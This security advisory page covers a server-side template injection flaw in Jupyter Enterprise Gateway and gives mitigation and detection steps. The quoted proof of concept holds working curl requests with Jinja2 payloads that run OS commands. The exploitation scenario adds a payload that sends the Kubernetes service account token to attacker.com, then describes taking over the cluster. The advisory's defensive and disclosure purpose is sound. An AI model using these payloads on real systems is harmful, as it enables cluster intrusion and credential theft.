CVE-2026-44181: Enterprise Gateway: SSTI allows full K8s cluster compromise

GHSA-f49j-v924-fx9w CRITICAL
Published June 3, 2026
CISO Take

Jupyter Enterprise Gateway contains a critical Server Side Template Injection flaw in its Kubernetes kernel launcher: KERNEL_XXX environment variables passed through the kernel launch API are rendered via Jinja2 without sanitization, allowing any attacker who can reach the API to execute arbitrary OS commands inside the Gateway pod with a single curl request — a working proof-of-concept is included in the public advisory. With 1,872 downstream dependents and no CISA KEV listing yet, this sits in the most dangerous window — between disclosure and broad patching — and the blast radius extends far beyond the initial pod: the stolen Kubernetes service account carries read/write/delete permissions over pods, secrets, namespaces, and persistent volumes, making full cluster compromise a realistic next step. Upgrade jupyter_enterprise_gateway to 3.3.0 immediately; if patching is blocked, restrict API access to the Enterprise Gateway service to trusted internal networks only and scan kernel launch logs for Jinja2 template patterns such as '{{' and '{%'.

Sources: NVD GitHub Advisory ATLAS OpenSSF

What is the risk?

Critical. The vulnerability is trivially exploitable — the public advisory includes a working one-line curl proof-of-concept requiring only network access to the Enterprise Gateway service, with no prior authentication needed. Although CVSS vector metrics are not yet formally assigned, the characteristics (network-exploitable, low complexity, no user interaction, changed scope, full C/I/A impact) strongly indicate a score of 9.8–10.0. The Enterprise Gateway service account holds dangerously broad Kubernetes RBAC permissions — create/delete over pods, secrets, namespaces, PVCs, and configmaps — meaning post-exploitation cluster-wide compromise is straightforward. An OpenSSF Scorecard of 5.2/10 and 19 prior CVEs in this package indicate a pattern of insufficient security hardening. Any organization running Jupyter Enterprise Gateway on Kubernetes in ML or data science infrastructure should treat this as a P0 incident.

Attack Kill Chain

Initial Access
Attacker sends a crafted POST request to the Enterprise Gateway /api/kernels endpoint with a Jinja2 template expression embedded in the KERNEL_POD_NAME environment variable.
AML.T0049
Code Execution
Enterprise Gateway renders the Jinja2 template unsanitized during Kubernetes manifest creation, executing arbitrary Python and OS commands inside the Gateway pod.
AML.T0050
Credential Theft
Attacker reads the Kubernetes service account token from the pod filesystem and exfiltrates it to an attacker-controlled server via the OS command execution channel.
AML.T0106
Cluster Takeover
Using the stolen token, attacker creates privileged pods with hostPath mounts to gain full node access, then exfiltrates all Kubernetes secrets — cloud credentials, model registry tokens, database passwords — across the entire cluster.
AML.T0091.000

What systems are affected?

Package Ecosystem Vulnerable Range Patched
jupyter_enterprise_gateway pip >= 2.0.0rc2, < 3.3.0 3.3.0
13.2K OpenSSF 5.2 1.9K dependents Pushed 5d ago 77% patched ~12d to patch Full package profile →

Do you use jupyter_enterprise_gateway? You're affected.

Severity & Risk

CVSS 3.1
N/A
EPSS
N/A
Exploitation Status
No known exploitation
Sophistication
Trivial

What should I do?

5 steps
  1. PATCH (immediate): Upgrade jupyter_enterprise_gateway to version 3.3.0 or later — this is the only complete fix.

  2. NETWORK ISOLATION (if patching is delayed): Restrict access to the Enterprise Gateway API (port 8888) to trusted internal services only via Kubernetes NetworkPolicy or firewall rules. Treat any external exposure as active compromise.

  3. RBAC HARDENING (parallel): Audit and reduce Kubernetes service account permissions for Enterprise Gateway to the minimum required. Remove secrets read/write and pod create/delete if not functionally needed; scope permissions to the target namespace rather than cluster-wide.

  4. DETECTION

    Search API and application logs for Jinja2 template expressions in KERNEL_XXX fields — patterns matching '{{', '}}', '{%', '%}'. Monitor for pod names containing arithmetic results (e.g., 'name-49' from '{{7*7}}') or suspicious OS command output strings.

  5. INCIDENT RESPONSE

    If compromise is suspected, immediately rotate all Kubernetes secrets, revoke and reissue service account tokens, audit recent pod creation and deletion events, and review persistent volume access logs for unauthorized reads.

Classification

Compliance Impact

This CVE is relevant to:

EU AI Act
Article 15 - Accuracy, robustness and cybersecurity Article 9 - Risk management system
ISO 42001
A.6.2 - AI system security
NIST AI RMF
GOVERN 1.7 - AI risk management processes MANAGE 2.2 - Responses to identified AI risks
OWASP LLM Top 10
LLM01 - Prompt Injection LLM08 - Excessive Agency

Frequently Asked Questions

What is CVE-2026-44181?

Jupyter Enterprise Gateway contains a critical Server Side Template Injection flaw in its Kubernetes kernel launcher: KERNEL_XXX environment variables passed through the kernel launch API are rendered via Jinja2 without sanitization, allowing any attacker who can reach the API to execute arbitrary OS commands inside the Gateway pod with a single curl request — a working proof-of-concept is included in the public advisory. With 1,872 downstream dependents and no CISA KEV listing yet, this sits in the most dangerous window — between disclosure and broad patching — and the blast radius extends far beyond the initial pod: the stolen Kubernetes service account carries read/write/delete permissions over pods, secrets, namespaces, and persistent volumes, making full cluster compromise a realistic next step. Upgrade jupyter_enterprise_gateway to 3.3.0 immediately; if patching is blocked, restrict API access to the Enterprise Gateway service to trusted internal networks only and scan kernel launch logs for Jinja2 template patterns such as '{{' and '{%'.

Is CVE-2026-44181 actively exploited?

No confirmed active exploitation of CVE-2026-44181 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-44181?

1. PATCH (immediate): Upgrade jupyter_enterprise_gateway to version 3.3.0 or later — this is the only complete fix. 2. NETWORK ISOLATION (if patching is delayed): Restrict access to the Enterprise Gateway API (port 8888) to trusted internal services only via Kubernetes NetworkPolicy or firewall rules. Treat any external exposure as active compromise. 3. RBAC HARDENING (parallel): Audit and reduce Kubernetes service account permissions for Enterprise Gateway to the minimum required. Remove secrets read/write and pod create/delete if not functionally needed; scope permissions to the target namespace rather than cluster-wide. 4. DETECTION: Search API and application logs for Jinja2 template expressions in KERNEL_XXX fields — patterns matching '{{', '}}', '{%', '%}'. Monitor for pod names containing arithmetic results (e.g., 'name-49' from '{{7*7}}') or suspicious OS command output strings. 5. INCIDENT RESPONSE: If compromise is suspected, immediately rotate all Kubernetes secrets, revoke and reissue service account tokens, audit recent pod creation and deletion events, and review persistent volume access logs for unauthorized reads.

What systems are affected by CVE-2026-44181?

This vulnerability affects the following AI/ML architecture patterns: Jupyter-on-Kubernetes ML platforms, MLOps training pipelines, Kubeflow notebook environments, Multi-tenant AI development platforms, Data science compute clusters.

What is the CVSS score for CVE-2026-44181?

No CVSS score has been assigned yet.

AI Security Impact

Affected AI Architectures

Jupyter-on-Kubernetes ML platformsMLOps training pipelinesKubeflow notebook environmentsMulti-tenant AI development platformsData science compute clusters

MITRE ATLAS Techniques

AML.T0049 Exploit Public-Facing Application
AML.T0050 Command and Scripting Interpreter
AML.T0072 Reverse Shell
AML.T0091.000 Application Access Token
AML.T0105 Escape to Host
AML.T0106 Exploitation for Credential Access

Compliance Controls Affected

EU AI Act: Article 15, Article 9
ISO 42001: A.6.2
NIST AI RMF: GOVERN 1.7, MANAGE 2.2
OWASP LLM Top 10: LLM01, LLM08

Technical Details

Original Advisory

### Summary The environment variables (`KERNEL_XXX`) used during the rendering of the Kubernetes manifest are vulnerable to Server Side Template Injection (SSTI). By including Jinja2 template expressions it is possible to execution Python code and OS Commands in the Enterprise Gateway service. The code can use or steal the Kubernetes service account token, which can steal Kubernetes secrets and be used to fully compromise the Kubernetes cluster by scheduling a privileged pod or a pod with a `hostPath` volume mount. ### Details The `KERNEL_POD_NAME` variable is rendered using Jinja2, allowing for code execution via template expression statements, in this code: https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprise_gateway/services/processproxies/k8s.py#L219-L247 The Jinja2 template for the Kubernetes manifest contains several `kernel_xxx` variables, in addition to `kernel_pod_name` discussed above, such as `kernel_working_dir` that are used when rendering the manifest and are all vectors for SSTI. https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L77 These values come from the environment passed in the API call, where they were `KERNEL_XXX` before being converted to lowercase. https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/launch_kubernetes.py#L130-L137 ### PoC #### Simple demonstration of SSTI using `{{7 * 7}}` ```bash curl http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels --data '{"name":"python_kubernetes", "env": {"KERNEL_POD_NAME": "bdawg-{{7 * 7}}" }}' ``` ```json {"id": "1094076f-35c6-48a5-ae60-0c943bb97a9a", "name": "python_kubernetes", "last_activity": "2025-07-17T07:14:42.155736Z", "execution_state": "starting", "connections": 0} ``` Running `kubectl get pods` ``` NAME READY STATUS RESTARTS AGE bdawg-49 1/1 Running 0 3m54s ``` #### Remote code execution - OS Commands via SSTI ```bash curl http://enterprise-gateway.notebooks.svc.cluster.local:8888/api/kernels --data '{"name":"python_kubernetes", "env": {"KERNEL_POD_NAME": "bdawg-{{ cycler.__init__.__globals__.os.popen(\"hostname\").read() }}", "KERNEL_NAMESPACE": "notebooks" }}' ``` ```json {"id": "85ec9431-d005-48d5-8127-5f022f2c5780", "name": "python_kubernetes", "last_activity": "2025-07-17T07 ``` ``` NAME READY STATUS RESTARTS AGE bdawg-enterprise-gateway-8695685bc8-klm4m 1/1 Running 0 2m25s ``` `enterprise-gateway-8695685bc8-klm4m` is the hostname of the Enterprise Gateway pod. #### Enterprise Gateway RBAC The Enterprise Gateway service account has R/W access to several resource kinds. Stolen Enterprise Gateway service account `kubectl auth can-i --list` ``` Resources Non-Resource URLs Resource Names Verbs selfsubjectreviews.authentication.k8s.io [] [] [create] selfsubjectaccessreviews.authorization.k8s.io [] [] [create] selfsubjectrulesreviews.authorization.k8s.io [] [] [create] rolebindings.rbac.authorization.k8s.io [] [] [get list create delete] configmaps [] [] [get watch list create delete] namespaces [] [] [get watch list create delete] persistentvolumeclaims [] [] [get watch list create delete] persistentvolumes [] [] [get watch list create delete] pods [] [] [get watch list create delete] secrets [] [] [get watch list create delete] services [] [] [get watch list create delete] scheduledsparkapplications.sparkoperator.k8s.io/status [] [] [get watch list create delete] scheduledsparkapplications.sparkoperator.k8s.io [] [] [get watch list create delete] sparkapplications.sparkoperator.k8s.io/status [] [] [get watch list create delete] sparkapplications.sparkoperator.k8s.io [] [] [get watch list create delete] [/.well-known/openid-configuration/] [] [get] [/.well-known/openid-configuration] [] [get] [/api/*] [] [get] [/api] [] [get] [/apis/*] [] [get] [/apis] [] [get] [/healthz] [] [get] [/healthz] [] [get] [/livez] [] [get] [/livez] [] [get] [/openapi/*] [] [get] [/openapi] [] [get] [/openid/v1/jwks/] [] [get] [/openid/v1/jwks] [] [get] [/readyz] [] [get] [/readyz] [] [get] [/version/] [] [get] [/version/] [] [get] [/version] [] [get] [/version] [] [get] ``` ### Impact This is a server side template injection that leads to remote code execution (python and OS commands). An attacker can get remote code execution in the Enterprise Gateway pod and steal its Kubernetes service account's token. It can use the privileges to spy on and interfere with other Jupyter kernel, read, write, or delete configuration maps, read secrets, access persistent storage, privileged pods, or create pods with `hostPath` mounts, which can be used to compromise the complete cluster and all workloads on it.

Exploitation Scenario

An adversary with network access to the Jupyter Enterprise Gateway API — reachable via a compromised internal service, an overly permissive Kubernetes NetworkPolicy, or a malicious insider on a shared data science platform — sends a single crafted POST request to the /api/kernels endpoint. The KERNEL_POD_NAME variable is set to a Jinja2 payload such as `exploit-{{ cycler.__init__.__globals__.os.popen('curl http://attacker.com/exfil?t=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)').read() }}`. Enterprise Gateway renders this template during Kubernetes manifest creation, executing the OS command and exfiltrating the service account token. The attacker configures kubectl with the stolen token, confirms broad RBAC permissions via `kubectl auth can-i --list`, then creates a privileged pod with a hostPath mount to the underlying node filesystem — achieving full node-level access, exfiltrating all cluster secrets including cloud provider keys and model registry credentials, and planting persistence across any workload in the cluster.

Timeline

Published
June 3, 2026
Last Modified
June 3, 2026
First Seen
June 4, 2026

Related Vulnerabilities